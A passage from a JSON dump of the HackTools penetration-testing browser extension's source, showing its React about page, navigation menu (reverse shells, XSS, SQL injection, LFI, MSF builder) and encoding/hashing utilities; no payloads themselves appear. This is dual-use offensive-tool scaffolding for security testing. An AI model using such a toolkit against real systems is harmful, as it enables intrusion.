27.2 15.4 62-16.6 226.2h-74c30.8-158.8 36.6-172 25.4-184-10.8-11.6-35.4-9.2-94.8-9.2l-37.6 193.2h-73l65.4-337.2zM1010 485c-16 82.2-73.4 72.6-140.2 72.6l27.4-141.2c76.4 0 127.6-8.2 112.8 68.6zM768.4 700.6H842l17.4-89.6c86.4 0 134.2 5 180.4-38.2 52.2-48 65.8-133.4 28.6-176.2-19.4-22.4-50.6-33.4-93-33.4H834l-65.6 337.4z\"  ></path></symbol><symbol id=\"icon-python\" viewBox=\"0 0 1024 1024\"><path d=\"M943.58718 401c-15.4-61.8-44.6-108.4-106.8-108.4h-80.2v94.8c0 73.6-62.4 135.6-133.6 135.6H409.38718c-58.4 0-106.8 50-106.8 108.6v203.6c0 58 50.4 92 106.8 108.6 67.6 19.8 132.6 23.4 213.6 0 53.8-15.6 106.8-47 106.8-108.6v-81.4H516.38718v-27.2h320.4c62.2 0 85.2-43.4 106.8-108.4 22.4-67 21.4-131.4 0-217.2zM636.38718 808c22.2 0 40.2 18.2 40.2 40.6 0 22.6-18 40.8-40.2 40.8-22 0-40.2-18.4-40.2-40.8 0.2-22.6 18.2-40.6 40.2-40.6zM399.58718 496.2h213.6c59.4 0 106.8-49 106.8-108.6V183.8c0-58-48.8-101.4-106.8-111.2-71.6-11.8-149.4-11.2-213.6 0.2-90.4 16-106.8 49.4-106.8 111.2v81.4h213.8v27.2h-294c-62.2 0-116.6 37.4-133.6 108.4-19.6 81.4-20.4 132.2 0 217.2 15.2 63.2 51.4 108.4 113.6 108.4H265.98718v-97.6c0-70.6 61-132.8 133.6-132.8z m-13.4-285.2c-22.2 0-40.2-18.2-40.2-40.6 0.2-22.6 18-40.8 40.2-40.8 22 0 40.2 18.4 40.2 40.8s-18 40.6-40.2 40.6z\"  ></path></symbol><symbol id=\"icon-gnubash\" viewBox=\"0 0 1024 1024\"><path d=\"M897.593538 209.051598L574.331507 17.150764a122.017871 122.017871 0 0 0-124.705678 0.042663L126.363798 209.051598A128.972037 128.972037 0 0 0 64.032291 320.104926v383.759004c0 45.778034 23.76362 88.14298 62.374171 111.053328l323.262031 191.85817a122.017871 122.017871 0 0 0 124.663014 0l323.262031-191.85817a128.972037 128.972037 0 0 0 62.374171-111.053328V320.104926A128.886709 128.886709 0 0 0 897.593538 209.051598zM647.243585 808.304401l0.554626 27.56068c0.042664 3.32776-2.13318 7.12482-4.735658 8.447391l-16.340156 9.385991c-2.602479 1.322571-4.735659-0.298645-4.778322-3.626406l-0.298645-27.09138c-13.993658 5.802248-28.15797 7.210147-37.202652 3.583741-1.706544-0.682617-2.431825-3.199769-1.749207-6.058229l5.930239-24.915538a10.239262 10.239262 0 0 1 2.943788-5.162294 6.954165 6.954165 0 0 1 1.535889-1.109254c0.938599-0.4693 1.834534-0.59729 2.645143-0.255981 9.769962 3.285097 22.227731 1.749207 34.2162-4.309023 15.230902-7.72211 25.4275-23.251657 25.256846-38.695877-0.127991-13.993658-7.72211-19.83857-26.152781-19.966561-23.464975 0.042664-45.394061-4.565004-45.73537-39.122513-0.298645-28.456615 14.505621-58.065148 37.927932-76.794465l-0.298645-27.816661c-0.042664-3.413087 2.047852-7.167483 4.735659-8.532719l15.785529-10.068607c2.602479-1.322571 4.735659 0.298645 4.778322 3.711732l0.255981 27.859325c11.64716-4.650331 21.801095-5.887576 30.973768-3.754396 2.005189 0.511963 2.858461 3.242433 2.047852 6.442203l-6.143557 24.659556a10.879216 10.879216 0 0 1-2.773133 4.948976 6.868838 6.868838 0 0 1-1.621217 1.194581 3.541078 3.541078 0 0 1-2.431825 0.383972c-4.181032-0.938599-14.164312-3.114442-29.82185 4.820986-16.425483 8.3194-22.185067 22.611703-22.057077 33.192274 0.127991 12.671087 6.612857 16.51081 29.053906 16.894782 29.864514 0.511963 42.791582 13.567022 43.090227 43.644854 0.298645 29.395214-15.44422 61.136926-39.591812 80.54886z m169.502448-46.375323c0 2.559815-0.341309 4.948977-2.474488 6.18622l-81.743441 49.660421c-2.13318 1.237244-3.839723 0.170654-3.839724-2.389161v-21.075815c0-2.559815 1.578553-3.967714 3.711733-5.204958l80.506197-48.167194c2.13318-1.237244 3.839723-0.170654 3.839723 2.389161v18.601326z m56.145286-471.944648l-305.812623 188.871719c-38.141251 22.313058-66.256557 47.313923-66.256557 93.305274v376.847503c0 27.518016 11.092534 45.351398 28.15797 50.513692a98.296914 98.296914 0 0 1-16.980109 1.66388c-17.918708 0-35.538772-4.863649-51.068319-14.078985L137.66965 795.249342a106.402997 106.402997 0 0 1-51.238974-91.385412V320.104926c0-37.586624 19.625252-72.613432 51.238974-91.385413L460.931681 36.818679a99.918131 99.918131 0 0 1 102.136638 0l323.262031 191.900834a105.763043 105.763043 0 0 1 49.660421 73.89334c-10.751225-22.867685-34.898818-29.096569-63.099452-12.628423z\"  ></path></symbol></svg>',i=(i=document.getElementsByTagName(\"script\"))[i.length-1].getAttribute(\"data-injectcss\"),e=function(t,c){c.parentNode.insertBefore(t,c)};if(i&&!t.__iconfont__svg__cssinject__){t.__iconfont__svg__cssinject__=!0;try{document.write(\"<style>.svgfont {display: inline-block;width: 1em;height: 1em;fill: currentColor;vertical-align: -0.1em;font-size:16px;}</style>\")}catch(t){console&&console.log(t)}}function s(){o||(o=!0,h())}function m(){try{a.documentElement.doScroll(\"left\")}catch(t){return void setTimeout(m,50)}s()}c=function(){var t,c;(c=document.createElement(\"div\")).innerHTML=v,v=null,(t=c.getElementsByTagName(\"svg\")[0])&&(t.setAttribute(\"aria-hidden\",\"true\"),t.style.position=\"absolute\",t.style.width=0,t.style.height=0,t.style.overflow=\"hidden\",c=t,(t=document.body).firstChild?e(c,t.firstChild):t.appendChild(c))},document.addEventListener?~[\"complete\",\"loaded\",\"interactive\"].indexOf(document.readyState)?setTimeout(c,0):(l=function(){document.removeEventListener(\"DOMContentLoaded\",l,!1),c()},document.addEventListener(\"DOMContentLoaded\",l,!1)):document.attachEvent&&(h=c,a=t.document,o=!1,m(),a.onreadystatechange=function(){\"complete\"==a.readyState&&(a.onreadystatechange=null,s())})}(window);"
  },
  {
    "path": "src/components/AboutUs.tsx",
    "content": "import React from 'react';\nimport { Typography, Divider } from 'antd';\n\nconst { Title, Paragraph, Link } = Typography;\n\nexport default function AboutUs () {\n    return (\n        <div>\n            <Title\n                level={2}\n                style={{\n                    fontWeight: 'bold',\n                    margin: 15\n                }}\n            >\n                About us\n            </Title>\n            <Paragraph\n                style={{\n                    margin: 15\n                }}\n            >\n                Our story of two students creating this app\n            </Paragraph>\n            <Divider dashed />\n            <div\n                style={{\n                    padding: 15,\n                    marginTop: 15\n                }}\n            >\n                <Paragraph>\n                    HackTools, is a web extension facilitating your web application penetration tests, it includes cheat\n                    sheets as well as all the tools used during a test such as XSS payloads, Reverse shells and much\n                    more. With the extension you no longer need to search for payloads in different websites or in your\n                    local storage space, most of the tools are accessible in one click. HackTools is accessible either\n                    in pop up mode or in a whole tab in the Devtools part of the browser with F12.\n                </Paragraph>\n                <Paragraph>\n                    Note that this project is maintained, developed and made available for free, you can offer us a\n                    coffee, it will be very encouraging and greatly appreciated\n                </Paragraph>\n                <Paragraph>HackTools is created by Ludovic COULON and Riadh BOUCHAHOUA</Paragraph>\n                <a href='https://www.paypal.com/paypalme/hacktoolsEXT' target='_blank' rel='noreferrer noopener'>\n                    <img\n                        src='https://paymentweek.com/wp-content/uploads/2014/09/paypal-copy-1024x489.png'\n                        alt='Paypal'\n                        style={{\n                            height: '50px',\n                            width: 'auto',\n                        }}\n                    />\n                </a>\n            </div>\n            <Divider dashed />\n            <div\n                style={{\n                    padding: 15,\n                    marginTop: 15\n                }}\n            >\n                <Title level={3}>Contribute</Title>\n                <Paragraph>\n                    We are always looking for community input into our software. Feel free to contribute to the Hack-Tools repository:\n                </Paragraph>\n                <Paragraph>- Contribute the project: <Link href='https://github.com/LasCC/Hack-Tools' target='_blank'>https://github.com/LasCC/Hack-Tools</Link></Paragraph>\n\n                <Paragraph strong>Before submitting a bug report</Paragraph>\n                <Paragraph>Check the open issues, to see if the problem is already reported.</Paragraph>\n                <Paragraph>If you encounter a problem that was reported and closed, check why it was closed and if you think it should be reopened, open a new issue instead.</Paragraph>\n                <Paragraph>- Report a bug: <Link href='https://github.com/LasCC/Hack-Tools/issues' target='_blank'>https://github.com/LasCC/Hack-Tools/issues</Link></Paragraph>\n            </div>\n            <Divider dashed />\n            <div key=\"c\"\n                style={{\n                    padding: 15,\n                    marginTop: 15\n                }}\n            >\n                <Title level={3}> Credits </Title> <Paragraph> PentestMonkey </Paragraph>\n                <Paragraph> GTFOBins </Paragraph> <Paragraph> Antd </Paragraph> <Paragraph> Iconfont CN </Paragraph>\n                <Paragraph> John Hammond </Paragraph> <Paragraph> The Noun Project </Paragraph>\n                <Paragraph> PayloadsAllTheThings </Paragraph>\n                <Paragraph> Fabien LOISON(flozz) for the p0wny @shell </Paragraph>\n                <Paragraph> GoProSlowYo for the zsh reverse shell </Paragraph>\n                <Paragraph> MITRE ATT&CK </Paragraph>\n                <Paragraph> Thanks to dejisec for the Active Directory scripts ! <Link href='https://gist.github.com/dejisec/3477eff3258f1f43fc3c57de56295f34' target='_blank'>Link</Link> </Paragraph>\n            </div>\n        </div>\n    );\n}\n"
  },
  {
    "path": "src/components/LayoutApp.tsx",
    "content": "import React, { useEffect } from 'react';\r\nimport { Layout, Menu, Typography, theme, Button, Select, ConfigProvider, Switch } from 'antd';\r\nimport { CopyrightCircleOutlined, FullscreenOutlined, ArrowsAltOutlined } from '@ant-design/icons';\r\nimport { createFromIconfontCN } from '@ant-design/icons';\r\nimport { goTo } from 'react-chrome-extension-router';\r\nimport ReverseShell from './linux/ReverseShell';\r\nimport PhpReverseShell from './web/PhpReverseShell';\r\nimport TtySpawnShell from './linux/TtySpawnShell';\r\nimport Base64Encode from './encoding/DataEncoding';\r\nimport Hashing from './encoding/Hashing';\r\nimport LinuxCommands from './linux/LinuxCommands';\r\nimport PowershellCommands from './linux/PowershellCommands';\r\nimport LFI from './web/LFI';\r\nimport XSS from './web/XSS';\r\nimport SQLi from './web/SqlInjection';\r\nimport AboutUs from './AboutUs';\r\nimport FeedRSS from './rss/FeedRSS';\r\nimport FileTransfer from './file_transfer/File_transfer';\r\nimport PersistedState from 'use-persisted-state';\r\nimport MSFBuilder from './linux/MSFBuilder';\r\nimport EchoBase64 from './file_transfer/ObfuscatedFiles';\r\nimport Notepad from './notepad/Notepad';\r\n\r\nconst { Paragraph } = Typography;\r\nconst { Sider, Content, Footer } = Layout;\r\nconst IconFont = createFromIconfontCN( {\r\n    scriptUrl: [ './iconfont.js' ]\r\n} );\r\n\r\nexport default function LayoutApp ( props: {\r\n    children: boolean | React.ReactFragment | React.ReactPortal | null | undefined;\r\n} ) {\r\n\r\n    const { defaultAlgorithm, darkAlgorithm } = theme;\r\n    const setDarkMode = PersistedState<boolean>( 'dark_mode' );\r\n    const [ darkMode, setDarkModeState ] = setDarkMode( false );\r\n    const handleSwtichTheme = ( value: string ) => {\r\n        // Set the dark mode state based on the selected value\r\n        // We can use the '===' operator because we know the value can only be 'dark' or 'light'.\r\n        const isDarkMode = value === 'dark';\r\n        setDarkModeState( isDarkMode );\r\n    }\r\n\r\n    interface IRouterComponent {\r\n        key: string;\r\n        icon: JSX.Element;\r\n        name: string;\r\n        componentRoute: React.FunctionComponent;\r\n    }\r\n\r\n    const Tabs: Array<IRouterComponent> = [\r\n        {\r\n            key: '1',\r\n            icon: <IconFont type='icon-gnubash' style={{ fontSize: '1.5em', marginTop: 3 }} />,\r\n            name: 'Reverse Shell',\r\n            componentRoute: ReverseShell\r\n        },\r\n        {\r\n            key: '2',\r\n            icon: <IconFont type='icon-php' style={{ fontSize: '1.5em', marginTop: 3 }} />,\r\n            name: 'PHP Reverse Shell',\r\n            componentRoute: PhpReverseShell\r\n        },\r\n        {\r\n            key: '3',\r\n            icon: <IconFont type='icon-lvzhou_yuanchengTelnet' style={{ fontSize: '1.5em', marginTop: 3 }} />,\r\n            name: 'TTY Spawn Shell',\r\n            componentRoute: TtySpawnShell\r\n        },\r\n        {\r\n            key: '4',\r\n            icon: <IconFont type='icon-linux' style={{ fontSize: '1.5em', marginTop: 3 }} />,\r\n            name: 'Useful Linux commands',\r\n            componentRoute: LinuxCommands\r\n        },\r\n        {\r\n            key: '5',\r\n            icon: <IconFont type='icon-powershell' style={{ fontSize: '1.5em', marginTop: 3 }} />, name: 'PowerShell Commands',\r\n            componentRoute: PowershellCommands\r\n        },\r\n        {\r\n            key: '6',\r\n            icon: <IconFont type='icon-transfer' style={{ fontSize: '1.5em', marginTop: 3 }} />,\r\n            name: 'Transfer Methods',\r\n            componentRoute: FileTransfer\r\n        },\r\n        {\r\n            key: '7',\r\n            icon: <IconFont type='icon-l-file' style={{ fontSize: '1.5em', marginTop: 3 }} />,\r\n            name: 'LFI',\r\n            componentRoute: LFI\r\n        },\r\n        {\r\n            key: '8',\r\n            icon: <IconFont type='icon-js' style={{ fontSize: '1.5em', marginTop: 3 }} />,\r\n            name: 'XSS',\r\n            componentRoute: XSS\r\n        },\r\n        {\r\n            key: '9',\r\n            icon: <IconFont type='icon-sql' style={{ fontSize: '1.5em', marginTop: 3 }} />,\r\n            name: 'SQL Injection',\r\n            componentRoute: SQLi\r\n        },\r\n        {\r\n            key: '10',\r\n            icon: <IconFont type='icon-jiemaleixing' style={{ fontSize: '1.5em', marginTop: 3 }} />,\r\n            name: 'Data Encoding',\r\n            componentRoute: Base64Encode\r\n        },\r\n        {\r\n            key: '11',\r\n            icon: <IconFont type='icon-Encode-File' style={{ fontSize: '1.5em', marginTop: 3 }} />,\r\n            name: 'Obfuscated Files or Information',\r\n            componentRoute: EchoBase64\r\n        },\r\n        {\r\n            key: '12',\r\n            icon: <IconFont type='icon-hash' style={{ fontSize: '1.5em', marginTop: 3 }} />,\r\n            name: 'Hashing',\r\n            componentRoute: Hashing\r\n        },\r\n        {\r\n            key: '13',\r\n            icon: <IconFont type='icon-Cloud' style={{ fontSize: '1.5em', marginTop: 3 }} />,\r\n            name: 'Feed RSS',\r\n            componentRoute: FeedRSS\r\n        },\r\n        /* {\r\n            key: '13',\r\n            icon: (\r\n                <Badge dot size='default' style={{ transform: `translate(3px, 5px)` }}>\r\n                    <IconFont type='icon-http' style={{ fontSize: '1.5em', marginTop: 3 }} />\r\n                </Badge>\r\n            ),\r\n            name: 'HTTP Repeater',\r\n            componentRoute: HTTPUtils\r\n        }, */\r\n        {\r\n            key: '14',\r\n            icon: <IconFont type='icon-shield' style={{ fontSize: '1.5em', marginTop: 3 }} />,\r\n            name: 'MSF Builder',\r\n            componentRoute: MSFBuilder\r\n        },\r\n        {\r\n            key: '15',\r\n            icon: <IconFont type='icon-about' style={{ fontSize: '1.5em', marginTop: 3 }} />,\r\n            name: 'About us',\r\n            componentRoute: AboutUs\r\n        }\r\n    ];\r\n\r\n    const MenuItemsLists = Tabs.map( ( item ) => (\r\n        <Menu.Item style={{ overflow: 'hidden' }} key={item.key} icon={item.icon} onClick={() => navigate( item )}>\r\n            {item.name}\r\n        </Menu.Item>\r\n    ) );\r\n\r\n    const useMenuIndex = PersistedState<string>( 'tab_index_cache' ); // Disabled for now\r\n    const [ index, setIndex ] = useMenuIndex( '1' );\r\n\r\n    const navigate = ( { componentRoute, key }: { componentRoute: React.FunctionComponent; key: string } ) => {\r\n        goTo( componentRoute );\r\n        setIndex( key );\r\n    };\r\n\r\n    const windowMode = () => {\r\n        const width = 1100;\r\n        const height = 800;\r\n\r\n        chrome.windows.create( {\r\n            url: chrome.runtime.getURL( 'index.html' ),\r\n            width: width,\r\n            height: height,\r\n            type: 'popup'\r\n        } );\r\n    };\r\n\r\n    useEffect( () => {\r\n        const currentComponent = Tabs.filter( ( obj ) => obj.key === index )[ 0 ].componentRoute;\r\n        goTo( currentComponent );\r\n    }, [] );\r\n\r\n    const target = window.location.href;\r\n\r\n    const handleHatClick = () => {\r\n        const notepad_route_ctx = {\r\n            key: '1',\r\n            name: 'Hat Clicked',\r\n            componentRoute: Notepad\r\n        }\r\n\r\n        navigate( notepad_route_ctx );\r\n    };\r\n\r\n    return (\r\n        <ConfigProvider\r\n            theme={{\r\n                \"token\": {\r\n                    \"wireframe\": true,\r\n                },\r\n                algorithm: darkMode ? darkAlgorithm : defaultAlgorithm,\r\n            }}\r\n\r\n        >\r\n            <Layout style={{ minHeight: '100vh' }}>\r\n                <Sider\r\n                    collapsed={true}\r\n                    style={{\r\n                        overflow: 'auto',\r\n                        height: '100vh',\r\n                        position: 'fixed',\r\n                        left: 0\r\n                    }}\r\n                >\r\n                    <div className='logo' onClick={handleHatClick}>\r\n                        <svg xmlns='http://www.w3.org/2000/svg' width='45' height='35' viewBox='0 0 134.624 80.584'>\r\n                            <g transform='translate(-6.457 -23.8)'>\r\n                                <path\r\n                                    d='M138.715,62.377c-9.043-1.871-15.592.78-21.673,4.989l-5.616-26.958-2.18-10.463a1.432,1.432,0,0,0-.624-.936c-.312-.156-6.86-4.21-32.431-4.21s-34.458,4.678-34.77,4.834c-.468.312-.78.624-.78,1.091L36.9,57.543c-4.678,0-19.022.624-26.039,9.2C7.119,71.264,6.651,78.125,9.3,84.829c4.054,9.979,14.033,16.839,26.506,18.087a80.594,80.594,0,0,0,8.42.468c21.985,0,40.071-8.887,52.389-16.06,1.559-.468,11.538-3.274,24.635-8.42,14.812-5.769,18.554-14.033,18.71-14.5a2.163,2.163,0,0,0,0-1.4C139.495,62.689,139.183,62.377,138.715,62.377ZM43.448,32.128c2.495-1.091,11.694-4.21,32.743-4.21,20.581,0,28.377,2.651,30.248,3.43L111.585,56.3a165.118,165.118,0,0,1-40.851,8.887C51.088,66.9,41.733,63,39.238,61.6ZM95.058,84.517c-13.409,7.8-33.991,17.931-59.094,15.436-11.382-1.247-20.27-7.328-24.012-16.216-2.183-5.613-1.871-11.382,1.091-14.968,5.925-7.328,18.554-8.108,23.232-8.108L34.249,74.694a1.367,1.367,0,0,0,.78,1.559c9.979,6.081,21.049,8.264,31.5,8.264,16.216,0,31.34-5.145,40.7-9.043A85,85,0,0,1,95.058,84.517ZM120,75.942C114.236,78.125,109.091,80,104.881,81.4c2.183-1.715,4.054-3.43,6.081-5.145,7.172-6.237,13.1-11.382,21.829-11.382a19.881,19.881,0,0,1,2.962.156C134.038,67.522,129.516,72.356,120,75.942Z'\r\n                                    transform='translate(0 0)'\r\n                                    fill='#F0F2F5'\r\n                                    stroke='#F0F2F5'\r\n                                    strokeWidth='2'\r\n                                />\r\n                            </g>\r\n                        </svg>\r\n                    </div>\r\n\r\n                    <Menu theme='dark' defaultSelectedKeys={[ index ]} mode='inline'>\r\n                        {MenuItemsLists}\r\n                    </Menu>\r\n                </Sider>\r\n                <Layout className='site-layout' style={{ marginLeft: 80 }}>\r\n                    <Content style={{\r\n                        margin: '24px 16px 0',\r\n                        overflow: 'initial',\r\n                        minHeight: 360,\r\n                        padding: 14,\r\n                        borderRadius: 8,\r\n                        background: darkMode ? '#0f0f0f' : '#fff',\r\n                    }}>\r\n                        {props.children}\r\n                    </Content>\r\n                    <Footer style={{ textAlign: 'center' }}>\r\n                        <CopyrightCircleOutlined /> Hack Tools - The all in one Red team browser extension for web\r\n                        pentesters\r\n                        <Paragraph style={{ textAlign: 'center' }}>Ludovic COULON - Riadh BOUCHAHOUA</Paragraph>\r\n                        <pre style={{ textAlign: 'center' }}>HackTools Version - 0.5.0</pre>\r\n                        <Button icon={<FullscreenOutlined style={{ margin: 5 }} />} type='link'>\r\n                            <a href={target} rel='noreferrer noopener' target='_blank'>\r\n                                Fullscreen mode\r\n                            </a>\r\n                        </Button>\r\n                        <Select\r\n                            defaultValue={darkMode ? 'dark' : 'light'}\r\n                            style={{ width: 150 }}\r\n                            onChange={handleSwtichTheme}\r\n                            options={[\r\n                                {\r\n                                    value: 'light',\r\n                                    label: 'Light',\r\n                                },\r\n                                {\r\n                                    value: 'dark',\r\n                                    label: 'Dark',\r\n                                },\r\n                            ]}\r\n                        />\r\n                        <Button icon={<ArrowsAltOutlined style={{ margin: 5 }} />} onClick={() => windowMode()} type='link'>\r\n                            Pop-up mode\r\n                        </Button>\r\n                    </Footer>\r\n                </Layout>\r\n            </Layout >\r\n        </ConfigProvider >\r\n    );\r\n}\r\n"
  },
  {
    "path": "src/components/encoding/DataEncoding.tsx",
    "content": "import React, { useState } from 'react';\nimport { Button, Input, Typography, message, Divider, Menu, Dropdown } from 'antd';\nimport { CopyOutlined, createFromIconfontCN, ClearOutlined, DownOutlined } from '@ant-design/icons';\nimport Clipboard from 'react-clipboard.js';\nimport escape_quotes from 'escape-quotes';\n\nconst { Title, Paragraph } = Typography;\nconst IconFont = createFromIconfontCN( {\n    scriptUrl: [ './iconfont.js' ]\n} );\n\nfunction toHex ( str: string ) {\n    var result: string = '';\n    for ( var i: number = 0; i < str.length; i++ ) {\n        var hex: string = str.charCodeAt( i ).toString( 16 ).toUpperCase();\n        if ( hex.length === 1 ) {\n            hex = '0' + hex;\n        }\n        result += hex;\n    }\n    return result;\n}\nfunction hex2a ( hex: string ) {\n    var str: string = '';\n    for ( var i: number = 0; i < hex.length; i += 2 ) {\n        var code: number = parseInt( hex.substr( i, 2 ), 16 );\n        if ( !isNaN( code ) ) {\n            str += String.fromCharCode( code );\n        }\n    }\n    return str;\n}\n\nconst Base64Encode = () => {\n    const [ input, setInput ] = useState( '' );\n    const [ output, setOutput ] = useState( '' );\n    const { TextArea } = Input;\n    const successBase64Copy = () => {\n        message.success( 'Your payload has been copied successfully !' );\n    };\n    const handleChange = ( _name: string ) => ( event: { target: { value: React.SetStateAction<string> } } ) => {\n        setInput( event.target.value );\n    };\n    const handleClick = ( type: string ) => {\n        let output;\n        let errorMessage;\n        switch ( type ) {\n            case \"encode\":\n                switch ( encMode ) {\n                    case \"base64\":\n                        output = btoa( input );\n                        break;\n                    case \"uri\":\n                        try {\n                            output = encodeURI( input );\n                        } catch ( error ) {\n                            errorMessage = \"Incorrect format, please try something else.\";\n                        }\n                        break;\n                    case \"hex\":\n                        try {\n                            output = toHex( input );\n                        } catch ( error ) {\n                            errorMessage = \"Incorrect Hex, please try something else.\";\n                        }\n                        break;\n                }\n                break;\n            case \"decode\":\n                switch ( encMode ) {\n                    case \"base64\":\n                        try {\n                            output = atob( input );\n                        } catch ( ex ) {\n                            errorMessage = \"Incorrect Base64, please try something else.\";\n                        }\n                        break;\n                    case \"uri\":\n                        try {\n                            output = decodeURI( input );\n                        } catch ( ex ) {\n                            errorMessage = \"Incorrect URI, please try something else.\";\n                        }\n                        break;\n                    case \"hex\":\n                        try {\n                            output = hex2a( input );\n                        } catch ( ex ) {\n                            errorMessage = \"Incorrect hexadecimal, please try something else.\";\n                        }\n                        break;\n                }\n                break;\n        }\n        setOutput( errorMessage ? \"Unable to decode properly: \" + errorMessage : output );\n        if ( errorMessage ) {\n            message.error( errorMessage );\n        }\n    };\n    const [ encMode, setEncmode ] = useState( 'base64' );\n    const handleQuoteEscaper = () => {\n        setOutput( escape_quotes( input ) );\n    };\n\n    const handleEncModeList = ( type: { key: React.SetStateAction<string | any> } ) => {\n        setEncmode( type.key.toString() );\n    };\n\n    const menu = (\n        <Menu onClick={handleEncModeList}>\n            <Menu.Item key='base64'>Base64</Menu.Item>\n            <Menu.Divider />\n            <Menu.Item key='uri'>URI</Menu.Item>\n            <Menu.Divider />\n            <Menu.Item key='hex'>Hexadecimal</Menu.Item>\n        </Menu>\n    );\n\n    return (\n        <div>\n            <div style={{ margin: 15 }}>\n                <Title level={2} style={{ fontWeight: 'bold' }}>\n                    Data Encoding\n                </Title>\n                <Paragraph>\n                    Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.Some data encoding systems may also result in data compression, such as gzip.\n                </Paragraph>\n            </div>\n            <Divider dashed />\n            <div\n                key='a'\n                style={{\n                    marginTop: 15,\n                    marginLeft: 15\n                }}\n            >\n                <TextArea\n                    rows={4}\n                    value={input}\n                    onChange={handleChange( 'input' )}\n                    placeholder='Some Base64 or ASCII Text to Encode / Decode / Quote escape...'\n                />\n\n                <Dropdown overlay={menu}>\n                    <a className='ant-dropdown-link'>\n                        {encMode} <DownOutlined style={{ padding: 10 }} />\n                    </a>\n                </Dropdown>\n\n                <Button\n                    type='primary'\n                    style={{ marginBottom: 10, marginTop: 15 }}\n                    onClick={() => handleClick( 'encode' )}\n                >\n                    <IconFont type='icon-lock' />\n                    Encode\n                </Button>\n                <Button\n                    type='dashed'\n                    style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}\n                    onClick={() => handleClick( 'decode' )}\n                >\n                    <IconFont type='icon-lock-open' />\n                    Decode\n                </Button>\n                <Button\n                    type='text'\n                    style={{ marginBottom: 10, marginTop: 15, marginLeft: 8 }}\n                    onClick={() => handleQuoteEscaper()}\n                >\n                    <IconFont type='icon-lock-open' />\n                    Quote escape\n                </Button>\n            </div>\n            <div\n                key='b'\n                style={{\n                    marginTop: 15,\n                    marginLeft: 15\n                }}\n            >\n                <TextArea\n                    rows={4}\n                    value={output}\n                    style={{ cursor: 'auto', marginTop: 15, color: '#777' }}\n                    placeholder='The results will appear here'\n                />\n                <Clipboard component='a' data-clipboard-text={output}>\n                    <Button type='primary' style={{ marginBottom: 10, marginTop: 15 }} onClick={successBase64Copy}>\n                        <CopyOutlined /> Copy\n                    </Button>\n                </Clipboard>\n                <Button\n                    type='link'\n                    danger\n                    style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}\n                    onClick={() => setOutput( '' )}\n                >\n                    <ClearOutlined /> Clear\n                </Button>\n            </div>\n        </div>\n    );\n};\n\nexport default Base64Encode;\n"
  },
  {
    "path": "src/components/encoding/Hashing.tsx",
    "content": "import React, { useState } from 'react';\nimport { Button, Input, Typography, Menu, Dropdown, Divider, message } from 'antd';\nimport { CopyOutlined, DownOutlined, ArrowsAltOutlined, createFromIconfontCN } from '@ant-design/icons';\nimport MD5 from 'crypto-js/md5';\nimport SHA1 from 'crypto-js/sha1';\nimport SHA256 from 'crypto-js/sha256';\nimport SHA512 from 'crypto-js/sha512';\n//@ts-ignore\nimport Sm3 from 'sm3';\nimport Clipboard from 'react-clipboard.js';\n\nconst { Title, Paragraph, Text } = Typography;\nconst { TextArea } = Input;\nconst IconFont = createFromIconfontCN( {\n    scriptUrl: [ './iconfont.js' ]\n} );\n\nconst HashEncode = () => {\n    const [ input, setInput ] = useState<string>( '' );\n    const [ _, setHashType ] = useState( '0' );\n    const [ hashname, setHashname ] = useState( 'MD5' );\n    const [ output, setOutput ] = useState( '' );\n    const handleClick = ( type: { key: React.SetStateAction<string | any> } ) => {\n        setHashType( type.key );\n        resolvehashname( type.key );\n    };\n    const handleEncode = ( hashtype: string ) => {\n        let output: string;\n        switch ( hashtype ) {\n            case 'MD5':\n                output = MD5( input, undefined ).toString();\n                break;\n            case 'SHA1':\n                output = SHA1( input, undefined ).toString();\n                break;\n            case 'SHA256':\n                output = SHA256( input, undefined ).toString();\n                break;\n            case 'SHA512':\n                output = SHA512( input, undefined ).toString();\n                break;\n            case 'SM3':\n                output = Sm3( input );\n                break;\n            default:\n                // If the hashtype is not recognized, return an empty string\n                output = '';\n        }\n        setOutput( output );\n    };\n    const successInfoHashing = () => {\n        message.success( 'Your hash has been copied successfully !' );\n    };\n    const resolvehashname = ( hashindex: string ): 'Choose the Hash type' => {\n        switch ( hashindex ) {\n            case '0':\n                setHashname( 'MD5' );\n                break;\n            case '1':\n                setHashname( 'SHA1' );\n                break;\n            case '2':\n                setHashname( 'SHA256' );\n                break;\n            case '3':\n                setHashname( 'SHA512' );\n                break;\n            case '4':\n                setHashname( 'SM3' );\n                break;\n        }\n        return 'Choose the Hash type';\n    };\n\n    const menu = (\n        <Menu onClick={handleClick}>\n            <Menu.Item key='0' onClick={() => handleEncode( 'MD5' )}>\n                MD5\n            </Menu.Item>\n            <Menu.Divider />\n            <Menu.Item key='1' onClick={() => handleEncode( 'SHA1' )}>\n                SHA1\n            </Menu.Item>\n            <Menu.Item key='2' onClick={() => handleEncode( 'SHA256' )}>\n                SHA256\n            </Menu.Item>\n            <Menu.Item key='3' onClick={() => handleEncode( 'SHA512' )}>\n                SHA512\n            </Menu.Item>\n            <Menu.Item key='4' onClick={() => handleEncode( 'SM3' )}>\n                SM3\n            </Menu.Item>\n        </Menu>\n    );\n\n    const handleChange = ( _name: string ) => ( event: { target: { value: React.SetStateAction<string> } } ) => {\n        setInput( event.target.value );\n    };\n\n    return (\n        <div>\n            <Title level={2} style={{ fontWeight: 'bold', margin: 15 }}>\n                Hash generator\n            </Title>\n            <Paragraph style={{ margin: 15 }}>\n                A hash function is any function that can be used to map data of arbitrary size to fixed-size values. The\n                values returned by a hash function are called hash values, hash codes, digests, or simply hashes.\n            </Paragraph>\n            <Divider dashed />\n            <div key='a' style={{ margin: 15 }}>\n                <TextArea\n                    rows={4}\n                    value={input}\n                    onChange={handleChange( 'input' )}\n                    placeholder='Type something to hash (ex: mysecretpassword)'\n                />\n                <Dropdown overlay={menu}>\n                    <a className='ant-dropdown-link'>\n                        {hashname} <DownOutlined style={{ padding: 10 }} />\n                    </a>\n                </Dropdown>\n                <Button\n                    type='primary'\n                    style={{ marginBottom: 10, marginTop: 15 }}\n                    onClick={() => handleEncode( hashname )}\n                >\n                    <IconFont type='icon-hash' /> Get Hash\n                </Button>\n            </div>\n            <div key='b' style={{ margin: 15 }}>\n                <TextArea\n                    rows={4}\n                    value={output}\n                    style={{ cursor: 'auto', marginTop: 15, color: '#777' }}\n                    placeholder='The results will appear here'\n                